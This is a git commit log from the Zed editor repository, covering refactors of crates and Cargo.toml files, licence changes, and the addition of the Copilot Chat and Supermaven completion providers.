Piotr Osiewicz c9534e8025 chore: Use workspace fields for edition and publish (#23291)
This prepares us for an upcoming bump to Rust 2024 edition.

Release Notes:

- N/A
2025-01-17 17:39:22 +01:00
77b8296fbb Introduce staff-only inline completion provider (#21739)
Release Notes:

- N/A

---------

Co-authored-by: Thorsten Ball <mrnugget@gmail.com>
Co-authored-by: Bennet <bennet@zed.dev>
Co-authored-by: Thorsten <thorsten@zed.dev>
2024-12-09 14:26:36 +01:00
Marshall Bowers 29c9f0f6a1 Extract InlineCompletionProvider to its own crate (#20935)
This PR extracts the `InlineCompletionProvider` trait and its related
types out of `editor` and into a new `inline_completion` crate.

By doing so we're able to remove a dependency on `editor` from the
`copilot` and `supermaven` crates.

We did have to move `editor::Direction` into the `inline_completion`
crate, as it is referenced by the `InlineCompletionProvider`. This
should find a better home, at some point.

Release Notes:

- N/A
2024-11-20 16:51:13 -05:00
Conrad Irwin e28496d4e2 Stop leaking isahc assumption (#18408)
Users of our http_client crate knew they were interacting with isahc as
they set its extensions on the request. This change adds our own
equivalents for their APIs in preparation for changing the default http
client.

Release Notes:

- N/A
2024-09-26 14:01:05 -06:00
Ryan HawkinsandBennet Bo Fenner 6f0655810e Add GitHub Copilot Chat Support (#14842)
# Summary

This commit implements Github Copilot Chat support within the existing
Assistant panel/framework. It required a little bit of trickery and
internal API modification, as Copilot doesn't use the same
authentication-style as all of the existing providers, opting to use
OAuth and a short lived API key instead of a straight API key. All
existing Assistant features should work.

Release Notes:
- Added Github Copilot Chat support
([#4673](https://github.com/zed-industries/zed/issues/4673)).

## Screenshots
<img width="1552" alt="A screenshot showing a conversation between a
user and Github Copilot Chat within the Zed editor."
src="https://github.com/user-attachments/assets/73eaf6a2-792b-4c40-a7fe-f763bd6417d7">

---------

Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
2024-07-30 09:32:58 +02:00
Mikayla Maki 855048041d Update http crate name (#15041)
Release Notes:

- N/A
2024-07-23 15:01:05 -07:00
Marshall Bowers 258a8a37d8 Extract paths out of util (#13182)
This PR extracts the definition of the various Zed paths out of `util`
and into a new `paths` crate.

`util` is for generic utils, while these paths are Zed-specific. For
instance, `gpui` depends on `util`, and it shouldn't have knowledge of
these paths, since they are only used by Zed.

Release Notes:

- N/A
2024-06-17 19:27:42 -04:00
Conrad Irwin 5515ba6043 Extract http from util (#11680)
This avoids the CLI linking libssl etc...

Release Notes:

- N/A
2024-05-10 15:50:20 -06:00
Kirill Bulatov 9ec0927701 Respect LSP completion triggers when copilot suggestion is on (#11401) 2024-05-05 13:01:52 +03:00
6563330239 Supermaven (#10788)
Adds a supermaven provider for completions. There are various other
refactors amidst this branch, primarily to make copilot no longer a
dependency of project as well as show LSP Logs for global LSPs like
copilot properly.

This feature is not enabled by default. We're going to seek to refine it
in the coming weeks.

Release Notes:

- N/A

---------

Co-authored-by: Antonio Scandurra <me@as-cii.com>
Co-authored-by: Nathan Sobo <nathan@zed.dev>
Co-authored-by: Max <max@zed.dev>
Co-authored-by: Max Brunsfeld <maxbrunsfeld@gmail.com>
2024-05-03 12:50:42 -07:00
Marshall Bowers 22fe03913c Move Clippy configuration to the workspace level (#8891)
This PR moves the Clippy configuration up to the workspace level.

We're using the [`lints`
table](https://doc.rust-lang.org/cargo/reference/workspaces.html#the-lints-table)
to configure the Clippy ruleset in the workspace's `Cargo.toml`.

Each crate in the workspace now has the following in their own
`Cargo.toml` to inherit the lints from the workspace:

```toml
[lints]
workspace = true
```

This allows for configuring rust-analyzer to show Clippy lints in the
editor by using the following configuration in your Zed `settings.json`:

```json
{
  "lsp": {
    "rust-analyzer": {
      "initialization_options": {
        "check": {
          "command": "clippy"
        }
      }
    }
  }
```

Release Notes:

- N/A
2024-03-05 12:01:17 -05:00
Dzmitry Malyshau cb75c57fc0 Cleanup dependencies (part 4) (#8468)
Follow-up to #8425 . Final part - adds the CI check.

Release Notes:
- N/A
2024-02-27 20:41:49 +02:00
Marshall Bowers 6ef32374d6 Add command_palette_hooks crate (#8398)
This PR introduces a new `command_palette_hooks` crate that contains the
types used to hook into the behavior of the command palette.

The `CommandPaletteFilter` was previously extracted to the `copilot`
crate in #7095, solely because that was the earliest ancestor of the
crates that depended on it.

The `CommandPaletteInterceptor` was still defined in `command_palette`
itself.

Both of these types were consumed by other crates wanting to influence
the behavior of the command palette, but required taking a dependency on
the entire `command_palette` crate in order to gain access to these
hooks.

By moving them out into their own crate, we can improve the compile
order and make crates like `vim` able to begin building sooner without
having to wait for `command_palette` to finish compiling.

Here's a comparison of the compilation graph before and after (ignore
the timings):

#### Before

<img width="332" alt="Screenshot 2024-02-25 at 12 42 29 PM"
src="https://github.com/zed-industries/zed/assets/1486634/a57c662e-fbc2-41ab-9e30-cca17afa6c73">

#### After

<img width="362" alt="Screenshot 2024-02-25 at 12 51 15 PM"
src="https://github.com/zed-industries/zed/assets/1486634/c1a6d29c-b607-4604-8f1b-e5d318bf8849">

Release Notes:

- N/A
2024-02-25 13:21:20 -05:00
Marshall Bowers b29946130e Hoist languages crate's dependencies to the workspace level (#8394)
This PR hoists all of the dependencies of the `languages` crate to the
workspace level.

Release Notes:

- N/A
2024-02-25 12:02:59 -05:00
白山風露 0037f0b2fd Avoid dependencies build errors on Windows (#7827)
This is a compilation of fixes for errors that appeared in dependent
crates in Windows.

- wezterm (zed-industries/wezterm#1)
- tree-sitter-svelte (Himujjal/tree-sitter-svelte#54)
- tree-sitter-uiua (shnarazk/tree-sitter-uiua#25)
- tree-sitter-haskell (I sent a PR, but upstream source is regenerated
and no longer errors.)

Release Notes:

- N/A
2024-02-19 16:44:24 -08:00
Piotr Osiewicz 743f9b345f chore: Move workspace dependencies to workspace.dependencies (#7454)
We should prefer referring to local deps via `.workspace = true` from
now on.

Release Notes:

- N/A
2024-02-06 20:41:36 +01:00
Marshall Bowers dbb5fad147 Fix some formatting issues in Cargo.toml files (#7127)
This PR fixes some formatting issues in some of the `Cargo.toml` files.

I tried to fix most of these in #7126, but there were a few that I
missed.

Release Notes:

- N/A
2024-01-30 22:01:35 -05:00
Marshall Bowers e338f34097 Sort dependencies in Cargo.toml files (#7126)
This PR sorts the dependency lists in our `Cargo.toml` files so that
they are in alphabetical order.

This should make them easier to visually scan when looking for a
dependency.

Apologies in advance for any merge conflicts 🙈 

Release Notes:

- N/A
2024-01-30 21:41:29 -05:00
Marshall Bowers 0cb8b0e451 Clean up Cargo.toml files (#7044)
This PR cleans up some inconsistencies in the `Cargo.toml` files that
were driving me crazy.

Release Notes:

- N/A
2024-01-29 23:47:20 -05:00
Piotr Osiewicz 0a0a866dd5 Licenses: change license fields in Cargo.toml to AGPL-3.0-or-later. (#5535)
Release Notes:
- N/A
2024-01-27 13:51:16 +01:00
Piotr Osiewicz f2ff7fa4d5 chore: Change AGPL-licensed crates to GPL (except for collab) (#4231)
- [x] Fill in GPL license text.
- [x] live_kit_client depends on live_kit_server as non-dev dependency,
even though it seems to only be used for tests. Is that an issue?

Release Notes:
- N/A
2024-01-24 00:26:58 +01:00
Piotr Osiewicz 21e6b09361 Remove license-file from Cargo.toml as it is apparently redundant (#4218)
Release Notes:

- N/A
2024-01-23 17:40:30 +01:00
Piotr OsiewiczandDavid 678bdddd7d chore: Add crate licenses. (#4158)
- GPUI and all dependencies: Apache 2
- Everything else: AGPL

Here's a script that I've generated for it:
https://gist.github.com/osiewicz/6afdd6626e517da24a2092807e6f0b6e

Release Notes:
- N/A

---------

Co-authored-by: David <david@zed.dev>
2024-01-23 16:56:22 +01:00
Piotr Osiewicz 3e8e1c6404 Move UI for copilot sign in to copilot_button 2024-01-05 15:58:45 +01:00
Max BrunsfeldandMikayla f5ba22659b Remove 2 suffix from gpui
Co-authored-by: Mikayla <mikayla@zed.dev>
2024-01-03 12:59:39 -08:00
Max BrunsfeldandMikayla dfcb17fe74 Remove 2 suffix for theme
Co-authored-by: Mikayla <mikayla@zed.dev>
2024-01-03 12:41:01 -08:00